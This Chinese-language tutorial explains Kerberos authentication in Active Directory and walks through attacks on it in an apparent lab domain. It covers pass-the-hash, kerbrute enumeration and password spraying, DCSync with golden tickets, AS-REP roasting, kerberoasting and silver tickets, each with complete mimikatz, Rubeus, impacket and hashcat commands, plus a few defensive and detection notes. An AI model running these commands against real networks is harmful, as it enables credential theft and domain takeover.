krbtgt用户,是系统在创建域时自动生成的一个帐号,其作用是密钥分发中心的服务账号,其密码是系统随机生成的,无法登录主机
windows密码hash图解如下
AS-REQ:当域内某个用户试图访问域中的某个服务,输入用户名和密码,本机的kerberos服务向KDC的AS认证服务发送一个AS-REQ认证请求,请求中包含:请求的用户名、客户端主机名、加密类型和Authenticator(用户NTML Hash加密的时间戳)以及其他的一些信息
pvno:kerberos版本号,这里为5
msg-type:消息类型,AS_REQ对应的是krb-as-req(10)
padata:主要是一些认证信息,每个认证消息有type和value
PADA PA-ENC-TIMESTAMP:预认证,用用户hash加密时间戳,作为value发送给AS服务器,AS服务器拥有用户hash,使用用户hash进行解密,获得时间戳,如果能解密,且时间戳在一定的范围内,则证明认证通过。由于用户密码是hash加密,所以能够利用hash传递
padata-type:padata类型,这里是KRB5-PADATA-ENC-TIMESTAMP(2)
padata-value:padata的值
etype:padata类型,这里是eTYPE-AES256-CTS-HMAC-SHA1-96(18)
cipher:密钥
PADA PA-PAC-REQUEST:启用PAC支持的扩展。PAC并不在原生的kerberos里面,是微软引进的拓展。PAC包含在相应包AS_REP中,这里的value对应的值为True或False,KDC根据include的值来确定返回的票据中是否需要携带PAC
padata-type:padata类型,这是eTYPE-AES256-CTS-HMAC-SHA1-96(18)
padata-value:padata的值
include-PAC:是否包含PAC,这里为True
req-body:请求body
padding:填充,这里为0
kdc-options:用于与KDC预定一些选项设置
cname:客户端用户名,这个用户名存在和不存在,返回的包有差异,可以用于枚举域内用户名,PrincipalName类型,包含type和Value
name-type:名字类型,这里是KRB5-NT-PRINCIPAL(1)
cname-string:名字,也就是请求的用户名
CNameString:请求的用户名,这里为mars2
realm:域名,这里为DRUNKMARS0
sname:服务端用户名,PrincipalName类型,包含type和value,在AS-REQ里面snames为krbtgt
SNameString:这里是用户名 krbtgt
SNameString:这里是域名 DRUNKMARS0
till:到期时间,rubeus和kekeo都是20370913024805Z,这个可以作为特征来检测工具
rtime:到期时间
nonce:随机生成的一个数,kekeo/mimikatz nonce是12381973,rubeus nonce是1818848256,这个也可以用来作为特征检测工具
etype:加密类型,这里有6个items
address:客户端的请求地址,也就是客户端的主机名
HostAddress MESSI-PC<20>
ddr-type:地址类型,这里是nETBIOS(20)
NetBIOS Name:MESSI-PC<20> (Server service)
net config workstation 查看域内信息
只适用于域环境,并且目标主机需要安装 KB2871997补丁
这里mimikatz获取到hash之后不能复制粘贴,这时可以将获取到的hash导出到log日志中,命令如下
mimikatz log privilege::debug sekurlsa::ekeys
抓取sid为500的administrator的ntlm哈希
privilege::debug
sekurlsa::logonpasswords
执行命令
sekurlsa::pth /user:administrator /domain:192.168.10.5 /ntlm:7c64e7ebf46b9515c56b2dd522d21c1c
安装KB2871997这个补丁之后,只能用sid为500的管理员账户进行pass hash
获取aes-key:
privilege::debug
sekurlsa::ekeys
注入aes-key:
sekurlsa::pth /user:Administrator /domain:Drunkmars.com /aes256:cf5dba161f3a3dc89454742ff5db89980d6b07e771048b30006546e81d1d79e2
使用kerbrute工具:
https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_amd64.exe
前提需要DC需要开启kerberos 88端口
准备用户名保存为txt
使用以下命令
kerbrute_windows_amd64.exe userenum --dc 192.168.10.5 -d Drunkmars.com user.txt
使用kerbrute进行错误枚举的原理就是kerberos有三种错误代码:
KDC_ERR_PREAUTH_REQUIRED-需要额外的预认证(启用)
KDC_ERR_CLIENT_REVOKED-客户端凭证已被吊销(禁用)
KDC_ERR_C_PRINCIPAL_UNKNOWN-在Kerberos数据库中找不到客户端(不存在)
在DC抓包可以看到有4个UNKNOWN,1个REQUIRED,证明有这个用户名存在
当用户名存在,密码正确和错误返回的包是不相同的,所以知道用户名的情况下可以用一个相同的密码去爆破用户,这种针对所有用户的自动密码猜测是为了防止账户被锁定,因为针对同一个用户连续密码猜测很容易导致账户被锁。所以只有对所有用户同时执行特定的密码进行尝试,才能增加破解的概率,消除帐号被锁定的可能
使用以下命令
kerbrute_windows_amd64.exe passwordspray --dc 192.168.10.5 -d Drunkmars.com user.txt Fcb0519..
密码同样存在三种错误代码
KDC_ERR_PREAUTH_REQUIRED-需要额外的预认证(启用)
KDC_ERR_CLIENT_REVOKED-客户端凭证已被吊销(禁用)
KDC_ERR_C_PRINCIPAL_UNKNOWN-在Kerberos数据库中找不到客户端(不存在)
同样在DC抓包,有4个UNKNOWN,1个REQUIRED
AS-REP:当KDC接受到请求之后,通过AD活动目录查询得到该用户的密码hash,用该密码hash对请求包的Authenticator进行解密,如果解密成功,则证明请求者提供的密码正确,而且需要时间戳范围在五分钟内,且不是重放,则域认证成功。KAS成功认证对方的身份之后,发送相应包给客户端,响应包中主要包括krbtgt用户的NTLM hash加密后的TGT认购权证(即ticket这部分)和用户NTLM hash加密的Login Session key(即最外层enc-part这部分)以及一些其他信息。该Login Session key的作用是用于确保客户端和KDC下阶段之间通信安全。最后TGT认购权证,加密的Login Session Key、时间戳和PAC等信息会发送给客户端。PAC中包含用户的SID,用户所在的组等一些信息。
在enc-part里面最重要的字段就是Login session key,作为下阶段的认证密钥
AS-REP中最核心的东西就是Login session-key 和加密的 ticket。正常我们用工具生成的凭据是.ccache和.kirbi后缀的,用mimikatz,kekeo,rebeus生成的凭据是.kirbi后缀的,impacket生成的凭据是.ccache,两种票据主要包含的都是Login session-key 和加密的 ticket,因此可以相互转换
先获取krbtgt hash
DC执行
mimikatz.exe "lsadump::dcsync /domain:Drunkmars.com /user:
获得如下信息
sid:S-1-5-21-652679085-3170934373-4288938398-502
ntlm hash:c1833c0783cfd81d3548dd89b017c99a
aes256:2ec7a180207fea5ede74f482b365885d3bf6ad764082d13113e9e4b98c14ba50
伪造administrator执行(aes256)生成gold.kirbi
mimikatz "kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398-502 /aes256:2ec7a180207fea5ede74f482b365885d3bf6ad764082d13113e9e4b98c14ba50 /user:administrator /ticket:gold.kirbi"
伪造administrator执行(krbtgt hash)生成gold.kirbi
mimikatz "kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398-502 /krbtgt:c1833c0783cfd81d3548dd89b017c99a /user:administrator /ticket:gold.kirbi"
导入golden.kirbi,执行命令
kerberos::ptt C:\\Users\\mars2\\Desktop\\gold.kirbi
查看本地缓存,发现凭据成功导入
kerberos::list
打开新的cmd,用klist查看凭证
dir连接过去,注意这里必须要主机名,不能够用IP连接
这里有一个坑,必须要管理员权限开cmd,不然也会显示拒绝访问
看下权限,处于Domain Users
组
查看所有组
net group /do
查看Domain Controllers组,这里我在域用户机器上可以查看是因为我导入了金票,实际上这个命令只能在DC上才能查看
net group "Domain Controllers" /do
删除凭据
kerberos::purge
使用kali,不在域内需要把dns改向域控
先生成票据administrator.ccache
python3 ticketer.py -domain-sid S-1-5-21-652679085-3170934373-4288938398-502 -nthash c1833c0783cfd81d3548dd89b017c99a -domain Drunkmars.com administrator
导入票据
export KRB5CCNAME=administrator.ccache
然后访问域控
python3 smbexec.py -no-pass -k WIN-M836NN6NU8B.Drunkmars.com
在AS-REP阶段,最外层的enc-part是用户密码hash加密的。对于域用户,如果设置了"Do not require Kerberos preauthentication",此时向域控的88端口发送AS-REP内容(enc-part底下的ciper,因为这部分是使用用户hash加密的Login Session Key,通过离线爆破就可以获得用户hash)重新组合,能够拼接成"Kerberos 5 AS-REP etype 23"(18200)的格式,接下来可以通过hashcat对其破解,最终获得明文密码,这就构成了AS-REP Roasting攻击
默认这个功能是不启用的,如果启用AS-REP会返回用户hash加密的sessionkey-as
,这样我们就能够用john离线破解
使用Empire下的powerview.ps1查找域中设置了"不需要kerberos预认证"的用户
Import-Module .\powerview.ps1
Get-DomainUser -PreauthNotRequired
使用ASREPRoast.ps1获取AS-REP返回的hash
Import-Module .\ASREPRoast.ps1
Get-ASREPHash -Username mars2 -Domain Drunkmars.com | Out-File Encoding ASCII hash.txt
修改为hashcat能识别的格式,在$krb5asrep后面添加$23拼接
hashcat -m 18200 hash.txt pass.txt --force
经过上面的步骤,客户端获得了 TGT认购权证 和 Login Session Key。然后用自己的密码NTLM Hash解密Login Session Key得到 原始的LogonSession Key。然后它会在本地缓存此 TGT认购权证 和 原始的Login Session Key。如果现在它需要访问某台服务器的某个服务,它就需要凭借这张TGT认购凭证向KDC购买相应的入场券ST服务票据(Service Ticket)。ST服务票据是通过KDC的另一个服务 TGS(Ticket Granting Service)出售的。在这个阶段,微软引入了两个扩展自协议 S4u2self 和 S4u2Proxy(当委派的时候,才用的到)
TGS-REQ:客户端向KDC购买针对指定服务的ST服务票据请求,该请求主要包含如下的内容:客户端信息、Authenticator(Login Session Key加密的时间戳)、TGT认购权证(padata下ap-req下的ticket) 和 访问的服务名以及一些其他信息
TGS-REP:TGS接收到请求之后,首先会检查自身是否存在客户端所请求的服务。如果服务存在,则通过 krbtgt 用户的NTLM Hash 解密TGT并得到Login Session Key,然后通过Login Session Key解密Authenticator,如果解密成功,则验证了对方的真实身份,同时还会验证时间戳是否在范围内。并且还会检查TGT中的时间戳是否过期,且原始地址是否和TGT中保存的地址相同。
在完成上述的检测后,如果验证通过,则TGS完成了对客户端的认证,会生成一个用Logon Session Key加密后的用于确保客户端-服务器之间通信安全的Service Session Key会话秘钥(也就是最外层enc-part部分)。并且会为该客户端生成ST服务票据。ST服务票据主要包含两方面的内容:客户端用户信息 和 原始Service Session Key,整个ST服务票据用该服务的NTLM Hash进行加密。
最终Service Session Key 和 ST服务票据发送给客户端。(这一步不管用户有没有访问服务的权限,只要TGT正确,就都会返回ST服务票据,这也是kerberoasting能利用的原因,任何一个用户,只要hash正确,就可以请求域内任何一个服务的ST票据)
enc-part:这部分是用请求服务的密码Hash加密的。因此如果我们拥有服务的密码Hash,那么我们就可以自己制作一个ST服务票据,这就造成了白银票据攻击。也正因为该票据是用请求服务的密码Hash加密的,所以当我们得到了ST服务票据,可以尝试爆破enc_part,来得到服务的密码Hash。这也就造成了kerberoast攻击。
SPN(ServicePrincipal Names)服务主体名称,是服务实例(比如:HTTP、SMB、MySQL等服务)的唯一标识符。
Kerberos认证过程使用SPN将服务实例与服务登录账户相关联,如果想使用 Kerberos 协议来认证服务,那么必须正确配置SPN。如果在整个林或域中的计算机上安装多个服务实例,则每个实例都必须具有自己的SPN。如果客户端可能使用多个名称进行身份验证,则给定服务实例可以具有多个SPN。SPN始终包含运行服务实例的主机的名称,因此服务实例可以为其主机的每个名称或别名注册SPN。一个用户账户下可以有多个SPN,但一个SPN只能注册到一个账户。在内网中,SPN扫描通过查询向域控服务器执行服务发现。这对于红队而言,可以帮助他们识别正在运行重要服务的主机,如终端,交换机等。SPN的识别是kerberoasting攻击的第一步。
下面通过一个例子来说明SPN的作用:
当某用户需要访问MySQL服务时,系统会以当前用户的身份向域控查询SPN为MySQL的记录。当找到该SPN记录后,用户会再次与KDC通信,将KDC发放的TGT作为身份凭据发送给KDC,并将需要访问的SPN发送给KDC。KDC中的TGS服务对TGT进行解密。确认无误后,由TGS将一张允许访问该SPN所对应的服务的ST服务票据和该SPN所对应的服务的地址发送给用户,用户使用该票据即可访问
MySQL服务。
SPN分为两种类型:
1.是注册在活动目录的机器帐户(Computers)下,当一个服务的权限为 Local System 或 Network Service,则SPN注册在机器帐户(Computers)下。域中的每个机器都会有注册两个SPN:HOST/主机名和 HOST/主机名.Drunkmars.com
2.是注册在活动目录的域用户帐户(Users)下,当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下
查看当前域内所有的SPN:
setspn -Q \* \*
查看指定域Drunkmars.com注册的SPN:
setspn -T Drunkmars.com -Q \* \*
如果指定域不存在,则默认切换到查找本域的SPN
查找本域内重复的SPN:
setspn -X
删除指定SPN:
setspn -D MySQL/win7.Drunkmars.com:1433/MSSQL hack
查找指定用户/主机名注册的SPN:
setspn -L username/hostname
Kerberoast攻击过程:
1.攻击者对一个域进行身份验证,然后从域控制器获得一个TGT认购权证,该TGT认购权证用于以后的ST服务票据请求
2.攻击者使用他们的 TGT认购权证 发出ST服务票据请求(TGS-REQ) 获取特定形式(name/host)的 servicePrincipalName (SPN)。例如:MSSqlSvc/SQL.domain.com。此SPN在域中应该是唯一的,并且在用户或计算机帐户的servicePrincipalName 字段中注册。在服务票证请求(TGS-REQ)过程中,攻击者可以指定它们支持的Kerberos加密类型(RC4_HMAC,AES256_CTS_HMAC_SHA1_96等等)。
3.如果攻击者的 TGT 是有效的,则 DC 将从TGT认购权证中提取信息并填充到ST服务票据中。然后,域控制器查找哪个帐户在ServicedPrincipalName 字段中注册了所请求的 SPN。ST服务票据使用注册了所要求的 SPN 的帐户的NTLM哈希进行加密,并使用攻击者和服务帐户共同商定的加密算法。ST服务票据以服务票据回复(TGS-REP)的形式发送回攻击者。
4.攻击者从 TGS-REP 中提取加密的服务票证。由于服务票证是用链接到请求 SPN 的帐户的哈希加密的,所以攻击者可以离线破解这个加密块,恢复帐户的明文密码。
首先是请求服务票据
1.Rubeus.exe请求
Rubeus里面的kerberoast支持对所有用户或者特定用户执行kerberoasting操作,其原理在于先用LDAP查询于内的spn,再通过发送TGS包,然后直接打印出能使用hashcat 或 john 爆破的Hash。以下的命令会打印出注册于用户下的所有SPN的服务票据的hashcat格式
Rubeus.exe kerberoast
2.powershell请求
#请求服务票据
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-DB-0day.0day.org:1433"
#列出服务票据
klist
3.mimikatz请求
请求服务票据
kerberos::ask /target:MSSQLSvc/Srv-DB-0day.0day.org:1433
列出服务票据
kerberos::list
清除所有票据
kerberos::purge
4.Impacket中的GetUserSPNS.py请求
该脚本可以请求注册于用户下的所有SPN的服务票据。使用该脚本需要提供域账号密码才能查询。该脚本直接输出hashcat格式的服务票据,可用hashcat直接爆破。
python3 GetUserSPNs.py -request -dc-ip 192.168.200.143 0day.org/jack
导出票据
首先是查看klist
或mimikatz.exe "kerberos::list"
MSF里面
load kiwi
kerberos_ticket_list
或
load kiwi
kiwi_cmd kerberos::list
1.mimikatz导出
mimikatz.exe "kerberos::list /export" "exit"
执行完后,会在mimikatz同目录下导出 后缀为kirbi的票据文件
2.Empire下的Invoke-Kerberoast.ps1
Import-Module .\Invoke-Kerberoast.ps1;Invoke-Kerberoast -outputFormat Hashcat
离线破解服务票据
1.kerberoast中的tgsrepcrack.py
python2 tgsrepcrack.py password.txt xx.kirbi
2.hashcat
将导出的hashcat格式的哈希保存为hash.txt文件,放到hashcat的目录下
hashcat -m 13100 hash.txt pass.txt
Kerberoast攻击防范
确保服务账号密码为强密码(长度、随机性、定期修改)
如果攻击者无法将默认的AES256_HMAC加密方式改为RC4_HMAC_MD5,就无法实验tgsrepcrack.py来破解密码。
攻击者可以通过嗅探的方法抓取Kerberos TGS票据。因此,如果强制实验AES256_HMAC方式对Kerberos票据进行加密,那么,即使攻击者获取了Kerberos票据,也无法将其破解,从而保证了活动目录的安全性。
许多服务账户在内网中被分配了过高的权限,且密码强度较差。攻击者很可能通过破解票据的密码,从域用户权限提升到域管理员权限。因此,应该对服务账户的权限进行适当的配置,并提高密码的强度。
在进行日志审计时,可以重点关注ID为4679(请求Kerberos服务票据)的时间。如果有过多的 4769 日志,应进一步检查系统中是否存在恶意行为。
在TGS-REP阶段,TGS_REP里面的ticket的enc-part是使用服务的hash进行加密的,如果我们拥有服务的hash,就可以给我们自己签发任意用户的TGS票据,这个票据也被称为白银票据。相较于黄金票据,白银票据使用要访问服务的hash,而不是krbtgt的hash,由于生成的是TGS票据,不需要跟域控打交道,但是白银票票据只能访问特定服务。但是要注意的一点是,伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDCPAC签名,则银票将不起作用
要创建白银票据,我们需要知道以下信息:
要伪造的域用户(这里我们一般填写域管理员账户)
域名
域的SID值(就是域成员SID值去掉最后的)
目标服务的FQDN
可利用的服务
服务账号的NTLM哈希
这里使用白银票据伪造CIFS服务,该通常用于Windows主机之间的文件共享。
1.mimikatz获得服务账号的ntlm hash
privilege::Debug
sekurlsa::logonpasswords
得到ntlm为7c64e7ebf46b9515c56b2dd522d21c1c
2.使用白银票据攻击
kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398 /target:WIN-M836NN6NU8B.Drunkmars.com /service:cifs /rc4:7c64e7ebf46b9515c56b2dd522d21c1c /user:administrator /ptt
3.查看票据
4.访问域控
防御:
伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDCPAC签名,则银票将不起作用。
访问权限不同:
黄金票据Golden Ticket
:伪造TGT认购权证,可以获取任何Kerberos服务权限
白银票据Silver Ticket
:伪造ST服务票据,只能访问指定的服务
加密方式不同:
Golden Ticket
由krbtgt的Hash加密
Silver Ticket
由服务账号(通常为计算机账户)Hash加密
认证流程不同:
Golden Ticket
的利用过程需要访问域控,而Silver Ticket
不需要
推荐实操:Kerberos网络认证协议搭建与分析
PC端体验地址:http://mrw.so/65TSBw
Kerberos协议最初是麻省理工学院(MIT)为其Athena项目开发的。本实验主要介绍了windows server2003系统的域和DNS服务器的搭建,通过本实验的学习学会kerberos网络认证协议搭建方式。